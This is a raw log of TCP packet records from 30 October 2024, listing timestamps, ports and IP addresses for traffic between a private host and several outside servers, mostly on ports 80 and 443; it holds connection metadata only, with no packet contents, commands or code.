Oct 30, 2024 04:34:43.901842117 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.901858091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.901881933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901892900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901910067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901927948 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.901956081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.901962042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901973963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902008057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902040005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902050972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902082920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902097940 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902196884 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902241945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902254105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902272940 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902288914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902312040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902326107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902365923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902498007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902509928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902520895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902544022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902564049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902570009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902578115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902616978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902726889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902767897 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902802944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902815104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902841091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902846098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902858019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902865887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902869940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902880907 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902901888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902909994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.902916908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902926922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.902957916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.903120995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903161049 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.903193951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903212070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903223038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903234959 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.903244019 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.903259993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.903342962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903393984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903405905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903434992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.903464079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.903466940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903542042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903583050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.903587103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903603077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.903666019 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.904233932 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.904294968 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.904494047 CET	51075	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.905241013 CET	51075	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.905247927 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.905261993 CET	51075	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.905267000 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.909214973 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.909229040 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.909286976 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.910288095 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.910299063 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.946088076 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:43.946105003 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:43.946167946 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:43.946432114 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:43.946443081 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:43.959084034 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.959125042 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.959208965 CET	51077	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.959481001 CET	51077	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.959490061 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.959501982 CET	51077	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.959506035 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.962677956 CET	51085	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.962694883 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.962846994 CET	51085	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.963057995 CET	51085	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.963068962 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.973999977 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.974530935 CET	51078	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.974545002 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.975135088 CET	51078	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.975140095 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.990653992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.990670919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.990681887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.990693092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.990704060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.990722895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.991079092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.991130114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.991206884 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.991218090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.991230011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.991241932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.991256952 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.991286993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.009344101 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.009397984 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.009488106 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.009519100 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.009546995 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.009753942 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.009761095 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.009768963 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.009773016 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.012473106 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.012487888 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.012669086 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.012989998 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.013004065 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.024580956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024607897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024621010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024638891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024655104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.024665117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024673939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.024677992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024703979 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.024719000 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.024859905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024872065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024883986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024904966 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.024923086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.024936914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024950027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.024990082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025005102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025033951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025042057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025072098 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025079012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025152922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025161982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025186062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025197029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025222063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025248051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025293112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025353909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025372028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025394917 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025402069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025413990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025418997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025443077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025456905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025547981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025573015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025584936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025609970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025630951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025682926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025695086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025791883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025808096 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025851011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025868893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025882959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.025890112 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.025929928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026005983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026078939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026087999 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026089907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026134014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026149035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026160955 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026171923 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026171923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026171923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026211977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026376963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026416063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026421070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026432991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026492119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026503086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026513100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026530981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026535988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026551008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026567936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026601076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026612043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026638985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026653051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026878119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026890039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026901960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026920080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026947975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.026957035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026984930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.026995897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.027000904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.027030945 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.104949951 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.105010986 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.105164051 CET	51078	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.113233089 CET	51078	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.113240957 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.113250017 CET	51078	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.113254070 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.113858938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.113871098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.113881111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.113893032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.113926888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.113965988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.114418983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.114430904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.114454985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.114470959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.114475965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.114483118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.114495993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.114526033 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.147902012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.147952080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.147963047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.147979021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.148005962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.148015976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.148026943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.148037910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.148077011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.191257954 CET	51087	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.191350937 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.191490889 CET	51087	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.212893963 CET	51087	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.212950945 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.232592106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.237900972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.305566072 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.306118965 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.306132078 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.307950020 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.308109045 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.316102982 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.316230059 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.316437006 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.316445112 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.316509962 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.316570997 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.374334097 CET	443	51080	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:44.374634981 CET	51080	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:44.374644041 CET	443	51080	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:44.374980927 CET	443	51080	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:44.375384092 CET	51080	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:44.375451088 CET	443	51080	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:44.466456890 CET	51080	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:44.492564917 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.492688894 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.493176937 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.493181944 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.518754005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518795967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518822908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518827915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.518841982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518845081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.518855095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518863916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.518878937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.518896103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518899918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.518908978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518944979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518961906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.518976927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.518991947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519009113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519047022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519057989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519067049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519084930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519100904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519155025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519181013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519205093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519205093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519330978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519356966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519367933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519402981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519418955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519476891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519494057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519504070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519515991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519522905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519546986 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519565105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519582987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519601107 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519714117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519757986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519768953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519809008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519860029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519870043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519881010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519891024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.519906044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.519926071 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.585660934 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.586014986 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.586026907 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.587115049 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.587186098 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.587480068 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.587543964 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.587642908 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.587649107 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.587688923 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.587821960 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.629817009 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.630428076 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.630439043 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.630896091 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.630901098 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.641910076 CET	80	50987	185.215.113.206	192.168.2.6
